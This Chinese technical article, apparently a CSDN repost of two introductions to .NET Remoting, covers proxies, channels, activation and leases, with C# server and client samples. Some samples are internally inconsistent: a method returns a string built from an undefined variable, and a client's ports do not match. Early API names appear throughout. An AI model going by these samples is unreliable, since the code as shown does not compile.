Microsoft® .NET Remoting 提供了一种允许对象通过应用程序域与另一对象进行交互的框架。这种框架提供了多种服务，包括激活和生存期支持，以及负责与远程应用程序进行消息传输的通讯通道。格式化程序用于在消息通过通道传输之前，对其进行编码和解码。应用程序可以在注重性能的场合使用二进制编码，在需要与其他远程处理框架进行交互的场合使用 XML 编码。在从一个应用程序域向另一个应用程序域传输消息时，所有的 XML 编码都使用 SOAP 协议。出于安全性方面的考虑，远程处理提供了大量挂钩，使得在消息流通过通道进行传输之前，安全接收器能够访问消息和序列化流。

通常，如果没有底层框架的支持，管理远程对象的生存期会非常麻烦。.NET Remoting 提供了许多可供选择的生存期模型，这些模型分为两个类别：

客户端激活对象

服务器激活对象
客户端激活对象受基于租用的生存期管理器的控制，这种管理器确保了租用期满时对象可被回收。而对于服务器激活对象，开发人员则可以选择“单一调用”模式或“单一元素”模式。

远程对象
任何远程处理框架的主要目的之一就是要提供必要的基础结构，以便隐藏远程对象调用方法和返回结果的复杂性。任何位于调用方应用程序域之外的对象，即使在同一台计算机上执行，也会被认为是远程对象。在应用程序域内部，原始数据类型按数值传递，而所有的对象按引用传递。因为本地对象引用仅在创建对象的应用程序域内有效，所以它们不能以这种方式传递到远程方法调用或从远程方法调用返回。所有必须跨越应用程序域的本地对象都必须按数值来传递，并且应该用 [serializable] 自定义属性作标记，否则它们必须实现 ISerializable 接口。对象作为参数传递时，框架将该对象序列化并传输到目标应用程序域，对象将在该目标应用程序域中被重新构造。无法序列化的本地对象将不能传递到其他应用程序域中，因而也不能远程处理。

通过从 MarshalByRefObject 导出对象，您可以使任一对象变为远程对象。当某个客户端激活一个远程对象时，它将接收到该远程对象的代理。对该代理的所有操作都被适当地重新定向，使远程处理基础结构能够正确截取和转发调用。尽管这种重新定向对性能有一些影响，但 JIT 编译器和执行引擎 (EE) 已经优化，可以在代理和远程对象驻留在同一个应用程序域中时，防止不必要的性能损失。如果代理和远程对象不在同一个应用程序域中，则堆栈中的所有方法调用参数会被转换为消息并被传输到远程应用程序域，这些消息将在该远程应用程序域中被转换为原来的堆栈帧，同时该方法调用也会被调用。从方法调用中返回结果时也使用同一过程。

代理对象
代理对象是在客户端激活远程对象时创建的。作为远程对象的代表，代理对象确保对代理进行的所有调用都能够转发到正确的远程对象实例。为了准确理解代理对象的工作方式，我们需要更深入地研究它们。当某个客户端激活一个远程对象时，框架将创建 TransparentProxy 类的一个本地实例（该类中包含所有类的列表与远程对象的接口方法）。因为 TransparentProxy 类在创建时用 CLR 注册，所以代理上的所有方法调用都被运行时截取。这时系统将检查调用，以确定其是否为远程对象的有效调用，以及远程对象的实例是否与代理位于同一应用程序域中。如果对象在同一个应用程序域中，则简单方法调用将被路由到实际对象；如果对象位于不同的应用程序域中，将通过调用堆栈中的调用参数的 Invoke 方法将其打包到 IMessage 对象并转发到 RealProxy 类中。此类（或其内部实现）负责向远程对象转发消息。TransparentProxy 类和 RealProxy 类都是在远程对象被激活后在后台创建的，但只有 TransparentProxy 返回到客户端。

要更好地理解这些代理对象，我们需要简要介绍一下 ObjRef。激活一节中有关于 ObjRef 的详细说明。以下方案简要说明了 ObjRef 与这两个代理类的关联方式。但请注意，这只是关于该进程的一个极其概括的说明；根据对象是客户端激活对象还是服务器激活对象，以及它们是单一元素对象还是单一调用对象，该进程会有所不同。

远程对象注册在远程计算机的应用程序域中。远程对象被封送以生成 ObjRef。ObjRef 包含了从网络上的任意位置定位和访问远程对象所需的所有信息，包括：类的增强名称、类的层次结构（其父类）、类实现的所有接口的名称、对象 URI 和所有已注册的可用通道的详细信息。在接收到对某个远程对象的请求时，远程处理框架使用对象 URI 来检索为该对象创建的 ObjRef 实例。

客户端通过调用 new 或某个 Activator 函数（例如 CreateInstance）来激活远程对象。对于服务器激活对象，远程对象的 TransparentProxy 将在客户端应用程序域中生成并返回到客户端，这时不执行任何远程调用。只有在客户端调用远程对象的某个方法时，该远程对象才会被激活。此方案明显不适合客户端激活对象，因为客户端希望框架只在得到请求时才激活对象。当客户端调用某个激活方法时，客户端上会创建一个激活代理，并且将使用 URL 和对象 URI 作为终结点在服务器的远程激活器上初始化一个远程调用。远程激活器激活该对象，然后 ObjRef 流向客户端，并被取消封送以生成一个返回给客户端的 TransparentProxy。

取消封送的过程中会分析 ObjRef 以提取远程对象的方法信息，同时还会创建 TransparentProxy 和 RealProxy 对象。在用 CLR 注册 TransparentProxy 之前，分析后的 ObjRef 内容会被添加到 TransparentProxy 的内部表中。
TransparentProxy 是一种无法替代和扩展的内部类，而 RealProxy 和 ObjRef 类则属于公共类，可以在必要时进行扩展和自定义。因为 RealProxy 类能够处理远程对象的所有函数调用，所以它是执行负载平衡等操作的理想方法。调用 Invoke 时，从 RealProxy 导出的类可以获得网络中服务器的负载信息，并将该调用路由到适当的服务器。简单地为所需的 ObjectURI 从通道请求一个 MessageSink，并调用 SyncProcessMessage 或 AsyncProcessMessage 以将该调用转发至所需的远程对象。当调用返回时，通过调用 RemotingServices 类的 PropagateMessageToProxy 将返回参数推回到堆栈中。

下面的代码片断显示了如何使用导出的 RealProxy 类。

MyRealProxy proxy = new MyRealProxy(typeof(Foo));
Foo obj = (Foo)proxy.GetTransparentProxy();
int result = obj.CallSomeMethod();

上例中获取的 TransparentProxy 可以被转发到另一个应用程序域中。当第二个客户端试图调用代理上的某个方法时，远程处理框架会尝试创建 MyRealProxy 类的实例，并且如果程序集可用，所有的调用都会路由至此实例。如果程序集不可用，调用会路由至默认的远程 RealProxy。

通过为默认的 ObjRef 属性 TypeInfo、EnvoyInfo 和 ChannelInfo 提供替代，可以很容易地自定义 ObjRef。下列代码显示了如何进行自定义：

public class ObjRef {
public virtual IRemotingTypeInfo TypeInfo
{
get { return typeInfo;}
set { typeInfo = value;}
}

public virtual IEnvoyInfo EnvoyInfo
{
get { return envoyInfo;}
set { envoyInfo = value;}
}

public virtual IChannelInfo ChannelInfo
{
get { return channelInfo;}
set { channelInfo = value;}
}
}

通道
通道用于在远程对象之间传输消息。当客户端调用某个远程对象上的方法时，与该调用相关的参数以及其他详细信息会通过通道传输到远程对象。调用的任何结果都会以同样的方式返回给客户端。客户端可以选择“服务器”中注册的任一通道，以实现与远程对象之间的通讯，因此开发人员可以自由选择最适合需要的通道。当然，也可以自定义任何现有的通道或创建使用其他通讯协议的新通道。通道选择遵循以下规则：

在能够调用远程对象之前，远程处理框架必须至少注册一个通道。通道注册必须在对象注册之前进行。

通道按应用程序域注册。一个进程中可以有多个应用程序域。当进程结束时，该进程注册的所有通道将被自动清除。

多次注册侦听同一端口的通道是非法的。即使通道按应用程序域注册，同一计算机上的不同应用程序域也不能注册侦听同一端口的通道。

客户端可以使用任何已注册的通道与远程对象通讯。当客户端试图连接至某个远程对象时，远程处理框架会确保该对象连接至正确的通道。客户端负责在尝试与远程对象通讯之前调用 ChannelService 类的 RegisterChannel。
所有的通道都由 IChannel 导出，并根据通道的用途实现 IChannelReceiver 或 IchannelSender。大多数通道既实现了接收器接口，又实现了发送器接口，使它们可以在两个方向上通讯。当客户端调用代理上的某个方法时，远程处理框架会截取该调用并将其转为要发送到 RealProxy 类（或一个实现 RealProxy 类的实例）的消息。RealProxy 将消息转发到消息接收器以进行处理。消息接收器负责与远程对象注册的通道之间建立连接，并通过通道（在不同的应用程序域）将消息从调度位置传输到远程对象本身。激活了一个远程对象后，客户端会通过调用选定通道上的 CreateMessageSink 来选择通道，并从其上检索能够与远程对象通讯的消息接收器。

远程处理框架的一个容易混淆的方面是远程对象和通道之间的关系。例如，如果 SingleCall 远程对象只在被调用时才激活，那么该对象如何侦听要连接的客户端？

部分答案在于这样一个事实：远程对象并不拥有自己的通道，而是共享通道。作为远程对象宿主的服务器应用程序必须注册要通过远程处理框架公开的对象以及所需的通道。注册后的通道会自动开始在指定的端口侦听客户请求。注册远程对象后，会为该对象创建一个 ObjRef 并将其存储在表中。当通道上传来一个请求时，远程处理框架会检查该消息以确定目标对象，同时检查对象引用表以定位表中的引用。如果找到了对象引用，将从表中检索框架目标对象或在必要时将其激活，然后框架将调用转发至该对象。对于同步调用，在消息调用期间会一直维持来自客户端的连接。因为每个客户端连接都在自己的线程上处理，所以一个通道可以同时服务于多个客户端。

生成商务应用时，安全性是一个重要问题。要满足商务要求，开发人员必须能给远程方法调用添加诸如授权或加密等安全特性。为了实现这一目标，开发人员可以自定义通道，使其能够对与远程对象之间的实际消息传输机制进行控制。在传输到远程应用程序之前，所有的消息都必须流过 SecuritySink、TransportSink 和 FormatterSink，且这些消息传递到远程应用程序后会以相反次序流过同样的接收器。

HTTP 通道
HTTP 通道使用 SOAP 协议与远程对象传输消息。所有的消息流过 SOAP 格式化程序时都被转换为 XML 格式且被序列化，所需的 SOAP 头也会被添加到该流中。您也可以指定能够生成二进制数据流的二进制格式化程序。然后，数据流会使用 HTTP 协议传输到目标 URI。

TCP 通道
TCP 通道使用二进制格式化程序将所有的消息序列化为二进制流，并使用 TCP 协议将其传输到目标 URI。

激活
远程处理框架支持远程对象的服务器激活和客户端激活。不需要远程对象在方法调用之间维护任何状态时，一般使用服务器激活。服务器激活也适用于多个客户端调用方法位于同一对象实例上、且对象在函数调用之间维持状态的情况。另一方面，客户端激活对象从客户端实例化，并且客户端通过使用基于租用的专用系统来管理远程对象的生存期。

在可以接受客户端的访问之前，所有的远程对象都必须用远程处理框架注册。对象注册一般由宿主应用程序来完成。宿主应用程序将启动，使用 ChannelServices 注册一个或多个通道，使用 RemotingServices 注册一个或多个远程对象，然后等待被终止。请注意，已注册的通道和对象只有在用来注册它们的进程活动时才可以使用。如果退出了该进程，则会自动从远程处理服务中删除它注册的所有通道和对象。在框架中注册远程对象时，需要以下四项信息：

包含类的程序集名称。

远程对象的类型名称。

客户端定位对象时将使用的对象 URI。

服务器激活所需的对象模式。该模式可以是 SingleCall，也可以是 Singleton。
远程对象可以通过下列两种方式注册：调用 RegisterWellKnownType，将上述信息作为参数传递；或将上述信息存储在配置文件中，然后调用 ConfigureRemoting 并将该配置文件的名称作为参数传递。以上两种方法执行的功能相同，因此您可以使用它们中的任意一种来注册远程对象。当然，后一种方法更方便些，因为无需重新编译宿主应用程序即可改变配置文件的内容。以下代码片断显示了如何将 HelloService 类注册为 SingleCall 远程对象。

RemotingServices.RegisterWellKnownType(
"server",
"Samples.HelloServer",
"SayHello",
WellKnownObjectMode.SingleCall);

其中，“server”是程序集的名称，HelloServer 是类的名称，SayHello 是对象 URI。

注册了远程对象后，框架将为该对象创建一个对象引用，然后从程序集中提取与该对象相关的必要元数据。随后，这一信息将与 URI 和程序集名称一起存储在对象引用中（该对象引用将被写入一个用于跟踪已注册远程对象的远程处理框架表中）。请注意，除了在客户端试图调用对象上的某个方法或从客户端激活对象时以外，注册进程不会实例化远程对象自身。

现在，任何知道该对象 URI 的客户端都可以使用 ChannelServices 注册通道，并调用 new、GetObject 或 CreateInstance 激活对象，从而获得该对象的一个代理。以下代码片断显示了该操作的示例：

ChannelServices.RegisterChannel(new TCPChannel);
HelloServer obj = (HelloServer)Activator.GetObject(
typeof(Samples.HelloServer), "tcp://localhost:8085/SayHello");

其中，“tcp://localhost:8085/SayHello”表示我们希望在端口 8085 上使用 TCP 协议连接到位于 SayHello 终结点的远程对象。在编译该客户端代码时，编译器明显会要求关于 HelloServer 类的类型信息。该信息可以通过以下方式之一来提供：

提供对 HelloService 类所在程序集的引用。

将远程对象拆分为实现和接口类，并在编译客户端时引用这些接口。

使用 SOAPSUDS 工具直接从终结点提取所需的元数据。此工具将连接至所提供的终结点，提取元数据，然后生成可用于编译客户端的程序集或源代码。
GetObject 或 new 可用于服务器激活对象。请注意，使用这两个调用时不会实例化对象，实际上不会生成任何网络调用。框架从元数据获得了创建代理所需的足够信息，但并未连接到远程对象上。只有在客户端调用代理上的某个方法时才会建立网络连接。当调用抵达服务器时，框架将从消息中提取 URI，检查远程处理框架表以便定位与 URI 匹配的对象引用，然后在必要时将对象实例化，并将方法调用转发至对象。如果将对象注册为 SingleCall，则完成方法调用后该对象会取消。每次调用一个方法时，都会创建一个新的实例。GetObject 和 new 之间的唯一差别在于，前者允许指定 URL 作为参数，而后者从配置中获得 URL。

CreateInstance 或 new 可用于客户端激活对象。两者都允许使用带参数的构造函数来实例化对象。客户端激活对象的生存期由远程处理框架提供的租用服务控制。对象租用的内容在下一节中说明。

对象的租用生存期
每个应用程序域都包含一个用于管理其租用情况的租用管理器。所有的租用都会被定期检查，以确定租用是否已过期。如果租用过期，则会调用该租用的一个或多个发起者，使它们有机会更新租用。如果所有的发起者都不准备更新租用，则租用管理器会删除该租用并将该对象作为垃圾回收。租用管理器按照剩余租用时间的顺序维护租用列表。剩余时间最短的租用排在列表的顶端。

租用可以实现 ILease 接口并存储一个属性集合，用于确定更新的策略和方法。您也可以使用调用来更新租用。每次调用远程对象上的方法时，租用时间都会设置为目前 LeaseTime 最大值加上 RenewOnCallTime。LeaseTime 即将过期时，发起者会被要求更新租用。因为我们有时会遇上网络不稳定，所以可能会找不到租用发起者。为了确保不在服务器上留下无效对象，每个租用都带有一个 SponsorshipTimeout。该值指定了租用终止之前等待租用发起者回复的时间长度。如果 SponsershipTimeout 为零，CurrentLeaseTime 会被用于确定租用的过期时间。如果 CurrentLeaseTime 的值为零，则租用不会过期。配置或 API 可用于替代 InitialLeaseTime、SponsorshipTimeout 和 RenewOnCallTime 的默认值。

租用管理器维护着一个按发起时间从大到小存储的发起者列表（它们实现 ISponsor 接口）。需要调用发起者以更新租用时间时，租用管理器会从列表的顶部开始向一个或多个发起者要求更新租用时间。列表顶部的发起者表示其以前请求的租用更新时间最长。如果发起者没有在 SponsorshipTimeOut 时间段内响应，则它会被从列表中删除。通过调用 GetLifetimeService 并将对象租用作为参数，即可以获得该对象租用。该调用是 RemotingServices 类的一个静态方法。如果对象在应用程序域内部，则该调用的参数是对象的本地引用，且返回的租用也是该租用的本地引用。如果对象是远程的，则代理会作为一个参数传递，且返回给调用方的是租用的透明代理。

对象能够提供自己的租用并控制自己的生存期。它们通过替代 MarshalByRefObject 上的 InitializeLifetimeService 方法来完成该操作，如下所示：

public class Foo : MarshalByRefObject {
public override Object InitializeLifetimeService()
{
ILease lease = (ILease)base.InitializeLifetimeService();
if (lease.CurrentState == LeaseState.Initial) {
lease.InitialLeaseTime = TimeSpan.FromMinutes(1);
lease.SponsorshipTimeout = TimeSpan.FromMinutes(2);
lease.RenewOnCallTime = TimeSpan.FromSeconds(2);
}
return lease;
}
}

只有当租用处于初始状态时，才可以更改租用属性。InitializeLifetimeService 的实现通常调用基类的相应方法，来检索远程对象的现有租用。如果在此之前从未对该对象封送过，则返回的租用会处于其初始状态且可以设置租用属性。一旦封送了对象，则租用会从初始状态变为激活状态，并忽略任何初始化租用属性的尝试（但有一种情况例外）。激活远程对象时将调用 InitializeLifetimeService。通过激活调用可以提供一个租用发起者的列表，而且当租用处于激活状态时，可以随时将其他发起者添加到列表中。

可以下列方式延长租用时间：

客户端可以调用 Lease 类上的 Renew 方法。

租用可以向某个发起者请求 Renewal。

当客户端调用对象上的某个方法时，RenewOnCall 值会自动更新租用。
一旦租用过期，其内部状态会由 Active 变为 Expired，且不再对发起者进行任何调用，对象也会被作为垃圾回收。一般情况下，如果发起者分散在 Web 上或位于某个防火墙的后面，远程对象回叫发起者时会遇到困难。因此，发起者不必与客户端处于同一位置，只要远程对象能够访问得到，它可以为网络上的任意位置。

通过租用来管理远程对象的生存期可以作为引用计数的一种替代方法，因为当网络连接的性能不可靠时，引用计数会显得复杂和低效。尽管有人会坚持认为远程对象的生存期比所需的时间要长，但与引用计数和连接客户相比，租用降低了网络的繁忙程度，将会成为一种非常受欢迎的解决方案。

总结
要提供完美的、能够满足大多数商务应用需求的远程处理框架，即使能够做到，也必然会非常困难。Microsoft 提供了能够根据需要进行扩展和自定义的框架，在正确的方向上迈出了关键的一步。

附录 A：使用 TCP 通道进行远程处理的示例
此附录显示了如何编写简单的“Hello World”远程应用程序。客户端将一个字符串传递到远程对象上，该远程对象将单词“Hi There”附加到字符串上，并将结果返回到客户端。

将此文件保存为 server.cs。此处为服务器的代码：

using System;
using System.Runtime.Remoting;
using System.Runtime.Remoting.Channels.TCP;

namespace RemotingSamples {
public class HelloServer : IHello {

public static int Main(string [] args) {

TCPChannel chan = new TCPChannel(8085);
ChannelServices.RegisterChannel(chan);
RemotingServices.RegisterWellKnownType(
"server", "RemotingSamples.HelloServer", "SayHello", WellKnownObjectMode.SingleCall);
System.Console.WriteLine("请按 <enter> 键退出...");
System.Console.ReadLine();
return 0;
}

public HelloServer()
{
Console.WriteLine("HelloServer 已激活");
}

~HelloServer()
{
Console.WriteLine("对象已清除");
}

public ForwardMe HelloMethod(ForwardMe obj)
{
Console.WriteLine("Hello.HelloMethod : {0}", name);
return "Hi there " + name;
}
}
}

将此代码保存为 client.cs：

using System;
using System.Runtime.Remoting;
using System.Runtime.Remoting.Channels.TCP;

namespace RemotingSamples {
public class Client
{
public static int Main(string [] args)
{
TCPChannel chan = new TCPChannel();
ChannelServices.RegisterChannel(chan);
ForwardMe param = new ForwardMe();
HelloServer obj = (HelloServer)Activator.GetObject(
typeof(RemotingSamples.HelloServer), "tcp://localhost:8085/SayHello");
if (obj == null) System.Console.WriteLine("无法定位服务器");
else {
Console.WriteLine("值为 " + param.getValue());
ForwardMe after = obj.HelloMethod(param);
Console.WriteLine("呼叫后的值为 " + after.getValue());
}
return 0;
}
}
}
下面是 makefile：

all: server.exe client.exe share.dll

share.dll: share.cs
csc /debug+ /target:library /out:share.dll share.cs

server.exe: server.cs
csc /debug+ /r:share.dll /r:System.Runtime.Remoting.dll server.cs

client.exe: client.cs server.exe
csc /debug+ /r:share.dll /r:server.exe /r:System.Runtime.Remoting.dll client.cs

clean:
@del server.exe client.exe *.pdb *~ *.*~
附录 B：使用 HTTP 通道进行远程处理的示例
将此文件保存为 server.cs。此处为服务器的代码：

using System;
using System.Runtime.Remoting;
using System.Runtime.Remoting.Channels.HTTP;

namespace RemotingSamples {
public class HelloServer : IHello {

public static int Main(string [] args) {

HTTPChannel chan = new HTTPChannel(8085);
ChannelServices.RegisterChannel(chan);
RemotingServices.RegisterWellKnownType(
"server", "RemotingSamples.HelloServer", "SayHello", WellKnownObjectMode.SingleCall);
System.Console.WriteLine("请按 <enter> 键退出...");
System.Console.ReadLine();
return 0;
}

public HelloServer()
{
Console.WriteLine("HelloServer 已激活");
}

~HelloServer()
{
Console.WriteLine("对象已清除");
}

public ForwardMe HelloMethod(ForwardMe obj)
{
Console.WriteLine("Hello.HelloMethod : {0}", name);
return "Hi there " + name;
}
}
}

将此代码保存为 client.cs：

using System;
using System.Runtime.Remoting;
using System.Runtime.Remoting.Channels.HTTP;

namespace RemotingSamples {
public class Client
{
public static int Main(string [] args)
{
HTTPChannel chan = new HTTPChannel();
ChannelServices.RegisterChannel(chan);
ForwardMe param = new ForwardMe();
HelloServer obj = (HelloServer)Activator.GetObject(
typeof(RemotingSamples.HelloServer), "http://localhost:8085/SayHello");
if (obj == null) System.Console.WriteLine("无法定位服务器");
else {
Console.WriteLine("值为 " + param.getValue());
ForwardMe after = obj.HelloMethod(param);
Console.WriteLine("呼叫后的值为 " + after.getValue());
}
return 0;
}
}
}
下面是 makefile：

all: server.exe client.exe share.dll

share.dll: share.cs
csc /debug+ /target:library /out:share.dll share.cs

server.exe: server.cs
csc /debug+ /r:share.dll /r:System.Runtime.Remoting.dll server.cs

client.exe: client.cs server.exe
csc /debug+ /r:share.dll /r:server.exe /r:System.Runtime.Remoting.dll client.cs

clean:
@del server.exe client.exe *.pdb *~ *.*~


csdn_Microsoft .NET Romoting 框架简介

  Microsoft .NET Romoting 框架简介
作者： Paddy Srin
Microsoft® .NET Remoting 是一个丰富的、可扩展的框架，它使得处于不同 AppDomain、不同过程和不同机器上的对象可以实现无缝通信。.NET Remoting 提供的编程模型和运行时支持功能强大而又易于使用，能够实现透明的交互操作。本文将浏览 Remoting 体系结构的不同构造块，并研究一些应用 .NET Remoting 的常见方案。.NET Remoting 对象可以作为一种 Web 服务使用（请参阅 MSDN Magazine 文章“可编程 Web：Web 服务为 Microsoft .NET 框架提供构造块（英文）”，允许从任何能够执行 SOAP 调用的客户端访问 .NET Remoting 对象。有关 .NET Remoting 的概述信息，请先阅读文章“Microsoft .NET Remoting：技术概述（英文）”。

.NET Remoting 对象
有三类对象可以被配置为 .NET 远程对象。您可以根据应用程序的需要选择对象类型。本节将详细介绍这些对象。

“单一调用对象”仅为一个请求提供服务。在需要对象完成的工作量有限，并且不必存储状态信息的情况下，单一调用对象非常有用。单一调用对象可以被配置为负载平衡模式。在方法调用之间，单一调用对象不能保留状态信息。

“单一元素对象”可以为多个客户端提供服务，因此可以通过保存客户端调用的状态信息来实现数据共享。当客户端需要明确地共享数据，并且不能忽略创建和维护对象的开销时，这种对象非常有用。

“客户端激活的对象 (CAO)”是服务器端的对象，收到来自客户端的请求时会激活这些对象。这种激活服务器对象的方法与传统的 COM coclass 激活方法很相似。当客户端使用“new”操作符请求服务器对象时，将向远程应用程序发送一个激活请求消息。随后，服务器将创建被请求类的实例，并向调用它的客户端应用程序返回 ObjRef。客户端将使用此 ObjRef 创建代理。客户端的方法调用将在代理上执行。客户端激活的对象可以为其特定的客户端（不能跨越不同的客户端对象）保存方法调用之间的状态信息。每次“new”调用都会返回服务器类型的独立实例的代理。

使用 .NET Remoting 传递对象
在 .NET Remoting 中，可以通过以下方式在应用程序之间传递对象：

作为方法调用的参数
示例：public int myRemoteMethod (MyRemoteObject myObj)

方法调用的返回值
示例：public MyRemoteObject myRemoteMethod(String myString)

访问 .NET 组件的属性或字段得到的值
示例：myObj.myNestedObject

对于 Marshal By Value (MBV) 的对象，当它在应用程序之间传递时，将创建一个完整的副本。

对于 Marshal By Reference (MBR) 的对象，当它在应用程序之间传递时，将创建该对象的引用。当对象引用 (ObjRef) 到达远程应用程序后，将转变成“代理”返回原始对象。

简单 .NET Remoting 服务器对象的代码示例
using System;
using System.Runtime.Remoting;
namespace myRemoteService
{
// 有名的 Web 服务对象
public class myRemoteObject : MarshalByRefObject
{
// myRemoteMethod 方法
public String myRemoteMethod(String s)
{
return "Hello World";
}
}
}

访问此对象的客户端代码示例
using System;
using System.Runtime.Remoting;
using myRemoteService;
public class Client
{
public static int Main(string[] args)
{
ChannelServices.RegisterChannel(new HTTPChannel(7055));
// 创建 myRemoteObject 类的实例
myRemoteObject myObj = ( myRemoteObject)Activator.GetObject(typeof(myRemoteObject),
"http://myHost:7021/host/myRemoteObject.soap");
myObj. myRemoteMethod ("Hello World");
return 0;
}
}
租用生存期
对于那些具有在应用程序之外传送的对象引用的对象，将创建一个租用。租用具有一个租用时间。如果租用时间为 0，则租用过期，对象将断开与 .NET Romoting 框架的连接。一旦 AppDomain 内部所有的对象引用都被释放，则下一个 GC 发生时对象将被回收。租用控制了对象的生存期。

对象有默认的租用阶段。当客户端要在同一服务器对象中维护状态信息时，可以通过许多方法扩展租用阶段，使对象继续生存。

可以将服务器对象的租用时间设置为无限，这样 Remoting 在垃圾回收周期中就不会回收此对象。

客户端可以调用 RemotingServices.GetLifetimeService 方法，以从 AppDomain 的租用管理器获取服务器对象的租用时间。然后，客户端便可以通过 Lease 对象来调用 Lease.Renew 方法，以延长租用时间。

客户端可用 AppDomain 的租用管理器为特定的租用注册负责人。当远程对象租用过期时，租用管理器将通知负责人提出更新租用的申请。

如果设置了 ILease::RenewOnCallTime 属性，则每次调用远程对象时，都会用 RenewOnCallTime 属性指定的时间更新租用时间。
单一调用/单一元素对象 客户端激活的对象
客户端激活代码（客户端所需的代码）
有关详细信息，请参阅配置文件的相关小节
a) Activator.GetObject()
b) new() 及 CFG 文件

客户的 CFG 文件引用下列 URL：

Foo= http://localhost:80/ObjectZone/Foo.soap
a) Activator.CreateInstance()
b) new() 及 CFG 文件

客户的 CFG 文件引用服务器数据库以及服务器应用程序的 URL，并提供对象 URI。客户端内置了对这些数据库的引用：

Assembly#MyObjectLibrary#ObjectZone#
MyObjectLibrary.Baz

RemoteApplication#ObjectZone#
HTTP://localhost:80/ObjectZone

服务器对象的激活 在首次调用方法之前，不会在网络上发送激活消息 当客户端创建对象，并且在客户端生成代理之后，激活消息将发送至服务器。支持带参数的构造函数。
服务器对象的生存期 生存期由服务器上的配置设定，可以为 SingleCall 或 Singleton 生存期在下列两个事件之一发生时结束：
a) 租用过期

b) 客户释放在服务器对象上的引用时

服务器端注册 a) 使用配置文件来指定类型（SingleCall 或 Singleton）
b) 使用 RegisterWellKnownType() API 注册类型
使用配置文件来导出客户端激活的对象
有关详细信息，请参阅配置文件的相关小节

模型的优点 a) 可以利用服务器组件的基类或接口定义公共语言运行时元数据来编译客户端
b) 在服务器端执行有限操作的情况下很有用处

c) 单一调用对象不保存状态信息，所以易于在负载平衡系统中进行配置

d) 单一元素对象可以在多个客户对象之间维护状态信息
a) 服务器对象的调用与传统的 COM“coclass”类似
b) 客户端可以更加灵活地管理服务器对象的生存期

c) 客户端能够向被创建的对象传递构造函数参数

d) 服务器对象可以为其特定客户端在多次方法调用之间保留状态信息

集成 .NET Remoting 对象
.NET Remoting 对象可以集成在：

托管可执行项：.NET Remoting 对象可以集成在任何常规的 .NET EXE 或托管服务中。

IIS：Remoting 对象可以集成在 Internet Information Server (IIS) 中。默认情况下，集成在 IIS 中的 Remoting 对象通过 HTTP 通道接收消息。要在 IIS 中集成 Remoting 对象，必须创建一个虚拟根目录，并将 remoting.cfg 文件复制到其中。包含远程对象的可执行文件或 DLL 应放置在 IIS 根目录下的 bin 目录中。需要注意的是，IIS 根目录的名称应该与配置文件中指定的应用程序名称相同。当应用程序接收到第一个消息时，远程配置文件将自动加载。使用这种方法，可以将 .NET Remoting 对象作为 Web 服务提供。
Remoting.cfg 文件示例：

Name#HelloService
WellKnownObject#HelloService.Hello#HelloService#HelloService/
Hello.soap#SingleCall

其格式为：
Name#[Name of the Application]
WellKnownObject#[FullTypeName]#[AssemblyName]#[ObjectURI]#[ObjectMode]
.NET 组件服务：.NET Remoting 对象可以集成在 .NET 组件服务基础结构中，从而利用各种 COM+ 服务，例如：事务、JIT、对象池等。
有关详细信息，请参阅 Microsoft .NET 框架组件服务，第 1 部分（英文）。

通道服务 (System.Runtime.Remoting.Channels)
.NET 应用程序和 AppDomains 之间使用消息进行通信。.NET “通道服务”为这一通信过程提供了底层传输机制。

.NET 框架提供了 HTTP、TCP 和 SMTP 通道，但是第三方也可以编写并使用自己的通道。默认情况下，HTTP 和 SMTP 通道使用 SOAP 进行通信，而 TCP 通道使用二进制有效负载。

通过使用可以编写到集成混合应用程序中的自定义通道，可以插入通道服务（使用 IChannel）。

加载通道服务的代码示例
public class myRemotingObj
{
HTTPChannel httpChannel;
TCPChannel tcpChannel;
public void myRemotingMethod()
{
httpChannel = new HTTPChannel();
tcpChannel = new TCPChannel();
ChannelServices.RegisterChannel(httpChannel);// 注册 HTTP 通道
ChannelServices.RegisterChannel(tcpChannel);// 注册 TCP 通道

}
}

序列化格式化程序 (System.Runtime.Serialization.Formatters)
.NET 序列化格式化程序对 .NET 应用程序和 AppDomains 之间的消息进行编码和解码。在 .NET 运行时中有两个本地格式化程序，分别为 Binary (System.Runtime.Serialization.Formatters.Binary) 和 SOAP (System.Runtime.Serialization.Formatters.Soap)。

序列化格式化程序是可插入的，方法是实例化 IRemotingFormatter 接口，并将其插入到上文介绍的通道中。这样，您可以灵活地选择通道和格式化程序的组合方式，采用最适合应用程序的方案。本文后面的小节将讨论这一问题。

例如：您可以采用 HTTP 通道和 Binary 格式化程序（串行化二进制数据），也可以采用 TCP 通道和 SOAP 格式化程序。

Remoting 上下文
“上下文”是一个包含共享公共运行时属性的对象的范围。一些有关上下文属性的例子是与同步和线程紧密相关的。当 .NET 对象被激活时，运行时将检查当前的上下文是否一致，如果不一致，将创建新的上下文。多个对象可以同时在一个上下文中运行，并且一个 AppDomain 中可以有多个上下文。

一个上下文中的对象调用另一个上下文中的对象时，调用将通过上下文代理来执行，并且会受组合上下文属性的强制策略影响。新对象的上下文通常是基于类的元数据属性选择的。

可以与上下文绑定的类称作上下文绑定类。上下文绑定类可以具有称作“上下文属性”的专用自定义属性。上下文属性是完全可扩展的，您可以创建这些属性并将它们附加到自己的类中。与上下文绑定的对象是从 System.ContextBoundObject 导出的。

.NET Remoting 元数据和配置文件
.NET 框架使用元数据和程序集来存储有关组件的信息，使得多语言编程技术成为可能。.NET Remoting 使用元数据动态地创建代理对象。在客户端创建的代理对象的成员与原始类相同。但是，代理对象的实现仅仅将所有的请求通过 .NET Remoting 运行时转发给原始对象。序列化格式化程序使用元数据将方法调用转换为有效负载数据流，并将有效负载数据流转换回方法调用。

客户端可以通过以下方法获取访问远程对象所需的元数据信息：

服务器对象的“.NET 程序集”- 服务器对象可以创建元数据程序集，并将其分发给客户端。在编译客户端对象时，客户端对象可以引用这些程序集。在客户端和服务器都是托管组件的封闭环境中，这种方法非常有用。

远程对象可以提供 WSDL（请参阅 Web 服务说明语言 [WSDL] 1.0 [英文]）文件，用于说明对象及其方法。所有可以根据 WSDL 文件读取和生成 SOAP 请求的客户端都可以调用此对象，或使用 SOAP 与之通信。使用与 .NET SDK 一同分发的 SOAPSUDS.EXE 工具，.NET Remoting 服务器对象可以生成具有元数据功能的 WSDL 文件。当组织希望提供所有客户都能访问和使用的公共服务时，这种方法非常有用。

.NET 客户可以使用 SOAPSUDS 工具从服务器上下载 XML 架构（在服务器上生成），生成仅包含元数据（没有代码）的源文件或程序集。您可以根据需要将源文件编译到客户端应用程序中。如果多层应用程序中某一层的对象需要访问其他层的远程对象，则经常使用此方法。
